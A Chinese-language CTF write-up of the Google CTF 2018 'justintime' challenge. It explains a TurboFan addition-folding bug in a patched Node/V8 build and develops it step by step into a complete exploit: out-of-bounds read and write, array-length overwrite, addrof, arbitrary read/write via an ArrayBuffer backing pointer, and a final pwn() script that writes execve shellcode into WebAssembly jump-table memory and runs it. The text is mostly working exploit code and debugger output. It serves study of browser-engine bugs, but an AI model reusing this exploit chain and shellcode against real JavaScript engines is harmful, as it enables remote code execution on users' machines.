Chrom V8分析入门——Google CTF2018 justintime分析
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS
1
环境搭建
(1)确定v8版本
wget https://nodejs.org/download/release/v11.1.0/node-v11.1.0.tar.gz --no-check-certificate
tar -xf node-v11.1.0.tar.gz
git apply ~/attachments/addition-reducer.patch
sudo apt install g++ python make
sudo ./configure --debug
sudo make -j4
sudo make install PREFIX=/opt/node-debug/
sudo cp -a -f out/Debug/node /opt/node-debug/node
2
问题代码分析
DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
CommonOperatorBuilder* common)
: AdvancedReducer(editor),
graph_(graph), common_(common) {}
Reduction DuplicateAdditionReducer::Reduce(Node* node) {
switch (node->opcode()) {
case IrOpcode::kNumberAdd:
return ReduceAddition(node);
default:
return NoChange();
}
}
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
DCHECK_EQ(node->op()->ControlInputCount(), 0);
DCHECK_EQ(node->op()->EffectInputCount(), 0);
DCHECK_EQ(node->op()->ValueInputCount(), 2);
Node* left = NodeProperties::GetValueInput(node, 0);
if (left->opcode() != node->opcode()) {
return NoChange();
}
Node* right = NodeProperties::GetValueInput(node, 1);
if (right->opcode() != IrOpcode::kNumberConstant) {
return NoChange();
}
Node* parent_left = NodeProperties::GetValueInput(left, 0);
Node* parent_right = NodeProperties::GetValueInput(left, 1);
if (parent_right->opcode() != IrOpcode::kNumberConstant) {
return NoChange();
}
double const1 = OpParameter<double>(right->op());
double const2 = OpParameter<double>(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
NodeProperties::ReplaceValueInput(node, parent_left, 0);
NodeProperties::ReplaceValueInput(node, new_const, 1);
return Changed(node);
}
3
漏洞分析
3.1 IEEE 754标准的64位浮点格式
max_value = 1 * (1 + 0.1111...1111) * 2^52 // 小数点后有52个'1'
d8> Math.pow(2, 53) - 1
9007199254740991
// max_value的二进制表示
// 1 * 2^(1075-1023) * 1.1111...1111b = 11111...11111b(53-bit) = 9007199254740991
1 10000110011 1111111111111111111111111111111111111111111111111111
// max_value + 1
// 1 * 2^(1076-1023) * 1.0b = 2^53 = 9007199254740992
1 10000110100 0000000000000000000000000000000000000000000000000000
// max_value + 2
// 1 * 2^(1076-1023) * 1.0000...0001b = 10000...00010b(54-bit) = 2^53 + 2 = 9007199254740994
1 10000110100 0000000000000000000000000000000000000000000000000001
3.2 x+1+1与x+2
function opt_me() {
let x = Number.MAX_SAFE_INTEGER + 1;
let y = x + 1 + 1;
let z = x + 2;
return (y, z);
}
for (var i = 0; i < 0x1000000; ++i) {
opt_me(i);
}
3.3 OOB
function try1(x) {
let bug_arr = [1.1, 2.2, 3.3, 4.4];
let y = (x ? 9007199254740992 : 9007199254740989)
y = y + 1 + 1;
y = y - 9007199254740990;
return bug_arr[y];
}
for (var i = 0; i < 0x1000000; ++i) {
try1(false);
}
console.log(try1(true));
一个长度为4的数组,用于实现越界读;
变量y,会根据参数x取9007199254740992或者9007199254740989,其中9007199254740992是为了之后+1+1操作触发漏洞,9007199254740989这个值需要保证完成+1+1后不等于9007199254740992(当然加法之前相等也不行,否则TurboFan会将y优化成一个常数,try1的返回值是固定的,所有过程都优化掉了),且和9007199254740990的差为正数;
y+1+1操作用于触发漏洞,y的可能取值为9007199254740992或9007199254740991,经过TypedLoweringPhase的DuplicateAdditionReducer之后,可能取值变成了9007199254740994或者9007199254740991;
减法操作,得到索引值,可能取值为2或1,经过DuplicateAdditionReducer后,可能取值变成了4(超过了数组索引值范围)或1。
返回bug_arr[y],发生越界读。
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try1.js
2.107088725459e-311
// simplified-lowering.cc
void VisitNode(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
...
case IrOpcode::kCheckBounds: {
const CheckParameters& p = CheckParametersOf(node->op());
Type index_type = TypeOf(node->InputAt(0));
Type length_type = TypeOf(node->InputAt(1));
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower() && lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison) {
if (index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min())) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
}
}
} else {
VisitBinop(
node,
UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
}
return;
}
...
}
3.4 扩大OOB范围
function try1(x) {
let bug_arr= [1.1, 2.2, 3.3, 4.4];
let y = (x ? 9007199254740992 : 【normal_value】)
y = y + 1 + 1;
y = y - 【start_value】;
return bug_arr[y];
}
for (var i = 0; i < 0x1000000; ++i) {
try1(false);
}
console.log(try1(true));
-1 < normal_value - start_value + 2 < 4
// 即start_value - 3 < normal_value < start_value + 2
-1 < 9007199254740992 - start_value < 4
normal_value != 9007199254740992
normal_value + 2 != 9007199254740992
function try1(x) {
let bug_arr= [1.1, 2.2, 3.3, 4.4];
let y = (x ? 9007199254740992 : 9007199254740989)
y = y + 1 + 1;
y = y - 9007199254740989;
console.log(y);
return bug_arr[y];
}
for (var i = 0; i < 0x1000000; ++i) {
try1(false);
}
console.log(try1(true));
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try1.js
2.9570928586621e-310
d8> x = Math.pow(2, 54)
18014398509481984
d8> x + 2 + 2
18014398509481984
d8> x + 4
18014398509481988
d8> x = Math.pow(2, 53)
9007199254740992
d8> 10*(x +1 +1)
90071992547409920
d8> 10*(x +2)
90071992547409940
4
利用OOB W/R的方法
4.1 前置知识
4.1.1 Pointer Tagging
4.1.2 数组相关结构
// JSArray
0x00 : Pointer to Map
0x08 : Pointer to Outline Properties
0x10 : Pointer to Elements
0x18 : Length
// FixedArray, FixedDoubleArray
0x00 : Pointer to Map
0x08 : Length
0x10 : Element 1
0x18 : Element 2
0x20 : ...
// JSArrayBuffer
0x00 : Pointer to Map
0x08 : Pointer to Outline Properties
0x10 : Pointer to Elements
0x18 : Length
0x20 : Pointer to Backing Store
0x28 : ...
4.2 利用方法分析
4.3 更简单的OOB方式
4.3.1 调试方法
js脚本的修改
在适当位置添加%DebugPrint,输出感兴趣的对象的信息;
脚本最后添加一个无限循环语句
node —allow-natives-syntax 执行脚本
从%DebugPrint的输出中获得对象地址等信息,用于后续调试;
由于无限循环语句,进程挂起;
通过ps -a | grep node的方式找到该进程的PID;
使用gdb attach [pid]或者其他调试器附加到该进程,开始调试。
4.3.2 实验代码
let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);
let f2i = (f) => {
fv[0] = f;
return dv[0];
}
function tohex(v) {
return (v).toString(16).padStart(16, "0");
}
function output(idx, value, a) {
console.log("Index is " + idx);
console.log("Array length is " + a.length);
console.log("Value is " + tohex(f2i(value)));
}
function try2(x) {
let bug_arr = [1.1, 2.2, 3.3, 4.4, 5.5];
oob_arr = [6.6, 7.7, 8.8];
let y = (x ? 18014398509481984 : 18014398509481978)
y = y + 2 + 2;
y = y - 18014398509481982;
let v = bug_arr[y];
if (x) {
output(y, v, bug_arr);
%DebugPrint(bug_arr);
%DebugPrint(oob_arr);
}
return v;
}
for (var i = 0; i < 0x1000000; ++i) {
try1(false);
}
console.log(try1(true));
while(1) {}
4.3.3 调试分析
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try2.js
Index is 6
Array length is 5
Value is 0000000300000000
0x3e7e89d3c159 <JSArray[5]>
0x12b40ca86829 <JSArray[3]>
6.365987373e-314
(gdb) x/20gx 0x3e7e89d3c159-1
0x3e7e89d3c158: 0x00000034b0f02931 0x00001cf6cec02d29 // bug_arr JSArray: pointer to map, pointer to outline properties
0x3e7e89d3c168: 0x000012b40ca867c9 0x0000000500000000 // bug_arr JSArray: pointer to elements, length
0x3e7e89d3c178: 0x00001cf6cec02539 0x000000005dc15cda
0x3e7e89d3c188: 0x0000000900000000 0x7369207865646e49
0x3e7e89d3c198: 0x0000000000000020 0x00001cf6cec02539
0x3e7e89d3c1a8: 0x000000004c3556ba 0x0000001000000000
0x3e7e89d3c1b8: 0x656c207961727241 0x207369206874676e
0x3e7e89d3c1c8: 0x00001cf6cec02539 0x00000000a41e9f2a
0x3e7e89d3c1d8: 0x0000000900000000 0x73692065756c6156
0x3e7e89d3c1e8: 0x0000000000000020 0x00001cf6cec02a49
(gdb) x/20gx 0x000012b40ca867c9-1
0x12b40ca867c8: 0x00001cf6cec03539 0x0000000500000000 // bug_arr FixedDoubleArray: pointer to Map, length
0x12b40ca867d8: 0x3ff199999999999a 0x400199999999999a // bug_arr FixedDoubleArray: element1 1.1, element2 2.2
0x12b40ca867e8: 0x400a666666666666 0x401199999999999a // bug_arr FixedDoubleArray: element3 3.3, element4 4.4
0x12b40ca867f8: 0x4016000000000000 0x00001cf6cec03539 // bug_arr FixedDoubleArray: element5 5.5 arr2: pointer to Map
0x12b40ca86808: 0x0000000300000000 0x401a666666666666 // oob_arr FixedDoubleArray: length【越界读】, element1 6.6
0x12b40ca86818: 0x401ecccccccccccd 0x402199999999999a // oob_arr FixedDoubleArray: element2 7.7, element3 8.8
0x12b40ca86828: 0x00000034b0f02931 0x00001cf6cec02d29 // oob_arr JSArray: pointer to map, pointer to outline properties
0x12b40ca86838: 0x000012b40ca86801 0x0000000300000000 // oob_arr JSArray: pointer to elements, length
0x12b40ca86848: 0x00001cf6cec02641 0x0000000300000000
0x12b40ca86858: 0x00001cf6cec02641 0x0000000300000000
4.3.4 覆写长度属性
function try2(x) {
let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];
oob_arr = [2.2, 2.2];
let y = (x ? 18014398509481984 : 18014398509481978)
y = y + 2 + 2;
y = y - 18014398509481982; // 这里偏移是6 或 2
y = y * 2; // *2 偏移是12 或 4
let v = bug_arr[y];
bug_arr[y] = i2f(0x0000006400000000);
if (x) {
output(y, v, bug_arr);
%DebugPrint(bug_arr);
%DebugPrint(oob_arr);
}
return v;
}
Index is 12
Array length is 5
Value is 0000000200000000
0x3ee7696bcab1 <JSArray[5]>
0x096c273bee59 <JSArray[100]>
4.243991582e-314
4.4 获取对象地址的能力
let OOB_LENGTH_64 = 0x0000006400000000;
let MARKER1 = 0x11;
let MARKER1_64 = 0x0000001100000000;
function try2(x) {
let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];
oob_arr = [2.2, 2.2];
obj_arr = [MARKER1, Math]; // 假设想要得到地址的对象是Math
// overwrite the length of oob_arr
let y = (x ? 18014398509481984 : 18014398509481978)
y = y + 2 + 2;
y = y - 18014398509481982;
y = y * 2;
let v = bug_arr[y];
bug_arr[y] = i2f(OOB_LENGTH_64);
if (x) {
let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1;
let obj_addr = f2i(oob_arr[addr_idx]) - 1n;
console.log(tohex(obj_addr));
%DebugPrint(obj_arr);
}
return v;
}
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js
0000356298e93df0
0x3d07774cffe1 <JSArray[2]>
4.243991582e-314
(gdb) x/4gx 0x3d07774cffe0
0x3d07774cffe0: 0x00000fddef0029d1 0x0000278ca0902d29
0x3d07774cfff0: 0x00003d07774cffc1 0x0000000200000000
(gdb) x/4gx 0x00003d07774cffc0
0x3d07774cffc0: 0x0000278ca09028b9 0x0000000200000000
0x3d07774cffd0: 0x0000001100000000 0x0000356298e93df1
4.5 任意地址读写的能力
let AB_LENGTH = 0x100;
let AB_LENGTH_64 = 0x0000010000000000;
let OOB_LENGTH_64 = 0x0000006400000000;
let MARKER1 = 0x11;
let MARKER1_64 = 0x0000001100000000;
function try2(x) {
let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];
oob_arr = [2.2, 2.2];
obj_arr = [MARKER1, Math];
buf_arr = new ArrayBuffer(AB_LENGTH);
// overwrite the length of oob_arr
let y = (x ? 18014398509481984 : 18014398509481978)
y = y + 2 + 2;
y = y - 18014398509481982;
y = y * 2;
let v = bug_arr[y];
bug_arr[y] = i2f(OOB_LENGTH_64);
if (x) {
let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1;
let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1;
let obj_addr = oob_arr[addr_idx];
oob_arr[bp_idx] = obj_addr; // 修改backing pointer,设置想要读/写的地址
// 以uint64的格式读/写地址
let view = new BigUint64Array(buf_arr);
// 写入的地址是obj_addr,首位应该是map,这里对其进行篡改
view[0] = 0x4141414141414141n;
%DebugPrint(obj_arr);
%DebugPrint(obj_arr[1]);
}
return v;
}
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js
0x1f1c989d0669 <JSArray[2]>
0x18d4029d06e9 Segmentation fault (core dumped)
(gdb) x/4gx 0x1f1c989d0668
0x1f1c989d0668: 0x000012eb4c5829d1 0x00001fc855802d29
0x1f1c989d0678: 0x00001f1c989d0649 0x0000000200000000
(gdb) x/4gx 0x00001f1c989d0648
0x1f1c989d0648: 0x00001fc8558028b9 0x0000000200000000
0x1f1c989d0658: 0x0000001100000000 0x000007bfc3593df1
(gdb) x/4gx 0x000007bfc3593df1
0x7bfc3593df1: 0x4141414141414141 0x29000007bfc35949
0x7bfc3593e01: 0x6900001fc855802d 0x164005bf0a8b1457
4.6 利用WebAssembly获取可执行内存地址
4.6.1 获取WebAssembly编译后函数
// 这里保存二进制代码
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
// 下面进行加载
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
4.6.2 分析源码得到jump table所在偏移
- JSFunction ->
- SharedFunctionInfo pointer ->
- (WasmExportedFunctionData)function data pointer ->
- WasmInstanceObject pointer ->
- jump table start address
- function index
// node/v8/src/objects.h
// Object::kHeaderSize = 0
static const int kHeaderSize = 0;
// HeapObject::kHeaderSize = 8
static const int kMapOffset = Object::kHeaderSize;
static const int kHeaderSize = kMapOffset + kPointerSize;
// JSReceiver::kHeaderSize = 16
static const int kHeaderSize = HeapObject::kHeaderSize + kPointerSize;
// JSObject::kHeaderSize = 24
static const int kElementsOffset = JSReceiver::kHeaderSize;
static const int kHeaderSize = kElementsOffset + kPointerSize;
// node/v8/src/objects.h
#define JS_FUNCTION_FIELDS(V) \
/* Pointer fields. */ \
V(kSharedFunctionInfoOffset, kPointerSize) \
V(kContextOffset, kPointerSize) \
...
DEFINE_FIELD_OFFSET_CONSTANTS(JSObject::kHeaderSize, JS_FUNCTION_FIELDS)
#undef JS_FUNCTION_FIELDS
// /node/v8/src/objects/shared-function-info.h
#define SHARED_FUNCTION_INFO_FIELDS(V) \
/* Pointer fields. */ \
V(kStartOfPointerFieldsOffset, 0) \
V(kFunctionDataOffset, kPointerSize) \
...
DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize,
SHARED_FUNCTION_INFO_FIELDS)
#undef SHARED_FUNCTION_INFO_FIELDS
// /node/v8/src/wasm/wasm-objects.h
#define WASM_EXPORTED_FUNCTION_DATA_FIELDS(V) \
V(kWrapperCodeOffset, kPointerSize) \
V(kInstanceOffset, kPointerSize) \
V(kJumpTableOffsetOffset, kPointerSize) /* Smi */ \
V(kFunctionIndexOffset, kPointerSize) /* Smi */ \
V(kSize, 0)
DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize,
WASM_EXPORTED_FUNCTION_DATA_FIELDS)
#undef WASM_EXPORTED_FUNCTION_DATA_FIELDS
// /node/v8/src/wasm/wasm-objects.h
#define WASM_INSTANCE_OBJECT_FIELDS(V) \
... // 省略了15行
V(kFirstUntaggedOffset, 0) /* marker */ \
V(kMemoryStartOffset, kPointerSize) /* untagged */ \
V(kMemorySizeOffset, kSizetSize) /* untagged */ \
V(kMemoryMaskOffset, kSizetSize) /* untagged */ \
... // 省略了8行
V(kJumpTableStartOffset, kPointerSize) /* untagged */ \
V(kIndirectFunctionTableSizeOffset, kUInt32Size) /* untagged */ \
V(k64BitArchPaddingOffset, kPointerSize - kUInt32Size) /* padding */ \
V(kSize, 0)
DEFINE_FIELD_OFFSET_CONSTANTS(JSObject::kHeaderSize,
WASM_INSTANCE_OBJECT_FIELDS)
#undef WASM_INSTANCE_OBJECT_FIELDS
// /node/v8/src/globals.h
constexpr int kSizetSize = sizeof(size_t);
kSharedFunctionInfoOffset: 3
kFunctionDataOffset: 1
kInstanceOffset: 2
kJumpTableStartOffset: 29
4.6.3 偏移值验证
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
%DebugPrint(f);
while(1) {}
test@test-vm:~/ctf2018$ node_debug --allow-natives-syntax wasm_test.js
DebugPrint: 0x15e5d1c8141: [Function] in OldSpace
- map: 0x27335a1062b1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x392436f04669 <JSFunction (sfi = 0x205dbb084df1)>
- elements: 0x22c411e02d29 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x015e5d1c8109 <SharedFunctionInfo 0>
- name: 0x22c411e08691 <String[1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x392436f03da1 <NativeContext[252]>
- code: 0x2ce1fe39bce1 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x15e5d1c7f69
- WASM function index 0
...
(gdb) x/4gx 0x15e5d1c8140 // JS_FUNCTION
0x15e5d1c8140: 0x000027335a1062b1 0x000022c411e02d29
0x15e5d1c8150: 0x000022c411e02d29 0x0000015e5d1c8109
(gdb) x/2gx 0x0000015e5d1c8108 // SharedFunctionInfo
0x15e5d1c8108: 0x000022c411e02a99 0x0000015e5d1c80e1
(gdb) x/3gx 0x0000015e5d1c80e0 // FunctionData
0x15e5d1c80e0: 0x000022c411e09479 0x00002ce1fe39bce1
0x15e5d1c80f0: 0x0000015e5d1c7f69
(gdb) x/30gx 0x0000015e5d1c7f68 // Instance
0x15e5d1c7f68: 0x000027335a108421 0x000022c411e02d29
0x15e5d1c7f78: 0x000022c411e02d29 0x00002dd2cf94e189
0x15e5d1c7f88: 0x00002dd2cf94e371 0x0000392436f03da1
0x15e5d1c7f98: 0x0000015e5d1c8061 0x000022c411e025b1
0x15e5d1c7fa8: 0x000022c411e025b1 0x000022c411e025b1
0x15e5d1c7fb8: 0x000022c411e025b1 0x000022c411e02d29
0x15e5d1c7fc8: 0x000022c411e02d29 0x000022c411e025b1
0x15e5d1c7fd8: 0x00002dd2cf94e301 0x000022c411e025b1
0x15e5d1c7fe8: 0x000022c411e022a1 0x00002ce1fe068ae1
0x15e5d1c7ff8: 0x00007f8e90000000 0x0000000000010000
0x15e5d1c8008: 0x000000000000ffff 0x000055f2affd67f8
0x15e5d1c8018: 0x000055f2affdd938 0x000055f2affdd928
0x15e5d1c8028: 0x000055f2b007f6c0 0x0000000000000000
0x15e5d1c8038: 0x000055f2b007f6e0 0x0000000000000000
0x15e5d1c8048: 0x0000000000000000 0x00001b3e42795000
(gdb) x/1gx 0x00001b3e42795000 // JumpTableStart
0x1b3e42795000: 0x1b3e427954a0ba49
4.6.4 获得可执行内存的代码
let AB_LENGTH = 0x100;
let AB_LENGTH_64 = 0x0000010000000000;
let OOB_LENGTH_64 = 0x0000006400000000;
let MARKER1 = 0x11;
let MARKER1_64 = 0x0000001100000000;
function try2(x) {
let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];
oob_arr = [2.2, 2.2];
obj_arr = [MARKER1, Math];
buf_arr = new ArrayBuffer(AB_LENGTH);
// overwrite the length of oob_arr
let y = (x ? 18014398509481984 : 18014398509481978)
y = y + 2 + 2;
y = y - 18014398509481982;
y = y * 2;
let v = bug_arr[y];
bug_arr[y] = i2f(OOB_LENGTH_64);
if (x) {
let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1;
let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1;
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
// get address of wasm_instance
obj_arr[1] = wasm_instance;
let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n;
// add offset 29 * 8 = E8
let jump_table_ptr = wasm_instance_addr + 0xE8n;
// read the number at jump_table_ptr
// which is jump table start address
oob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointer
let view = new BigUint64Array(buf_arr); // read backing store in uint64 format
let jump_table_addr = view[0];
console.log(tohex(jump_table_addr));
}
return v;
}
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js
00003e9245ae8000
4.243991582e-314
4.7 写入shellcode,触发!
let shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);
function f2i(f) {
fv[0] = f;
return dv[0];
}
function i2f(i) {
dv[0] = BigInt(i);
return fv[0];
}
let AB_LENGTH = 0x100;
let AB_LENGTH_64 = 0x0000010000000000;
let OOB_LENGTH_64 = 0x0000006400000000;
let MARKER1 = 0x11;
let MARKER1_64 = 0x0000001100000000;
function pwn(x) {
let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];
oob_arr = [2.2, 2.2];
obj_arr = [MARKER1, Math];
buf_arr = new ArrayBuffer(AB_LENGTH);
// overwrite the length of oob_arr
let y = (x ? 18014398509481984 : 18014398509481978)
y = y + 2 + 2;
y = y - 18014398509481982;
y = y * 2;
let v = bug_arr[y];
bug_arr[y] = i2f(OOB_LENGTH_64);
if (x) {
let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1;
let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1;
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
// get address of wasm_instance
obj_arr[1] = wasm_instance;
let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n;
// add offset 29 * 8 = E8
let jump_table_ptr = wasm_instance_addr + 0xE8n;
// read the number at jump_table_ptr
// which is jump table start address
oob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointer
let view = new BigUint64Array(buf_arr); // read backing store in uint64 format
let jump_table_addr = view[0];
// write in shellcode at jump table
oob_arr[bp_idx] = i2f(jump_table_addr); // change backing pointer
view = new Uint32Array(buf_arr); // write backing store in uint32 format
for (let i = 0; i < shellcode.length; ++i) {
view[i] = shellcode[i];
}
f(); // 调用函数,执行shellcode
}
return v;
}
for (var i = 0; i < 0x10; ++i) {
pwn(false);
}
%OptimizeFunctionOnNextCall(pwn);
console.log(pwn(true));
4.8 关于fakeobj和addrof
// get address of wasm_instance
obj_arr[1] = wasm_instance;
let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n;
// read the number at jump_table_ptr
// which is jump table start address
oob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointer
let view = new BigUint64Array(buf_arr); // read backing store in uint64 format
let jump_table_addr = view[0];
5
总结
6
参考资料
1、Github项目(题目信息及资料下载)
2、Introduction to TurboFan(关键文章!!!)
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
3、Double-precision floating-point format(基础知识)
https://en.wikipedia.org/wiki/Double-precision_floating-point_format
4、Google CTF justintime exploit(参考,没有仔细看)
https://eternalsakura13.com/2018/11/19/justintime/
5、V8 Objects and Their Structures(基础知识)
https://pwnbykenny.com/2020/07/05/v8-objects-and-their-structures/
6、An Introduction to Speculative Optimization in V8(只看了前半部分,v8基础)
https://ponyfoo.com/articles/an-introduction-to-speculative-optimization-in-v8
7、Chrome V8文档(一些不了解的琐碎的知识点是在这里学习的)
https://v8.dev/blog
8、Exploiting the Math.expm1 typing bug in V8(关键文章!!!)
https://abiondo.me/2019/01/02/exploiting-math-expm1-v8
9、ArrayBuffer(关于ArrayBuffer的介绍)
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer
10、Exploiting v8: *CTF 2019 oob-v8(关键文章!!!个人觉得对于addrof和fakeobj介绍的很好)
https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
# 往期推荐
4.通过PsSetLoadImageNotifyRoutine学习模块监控与反模块监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!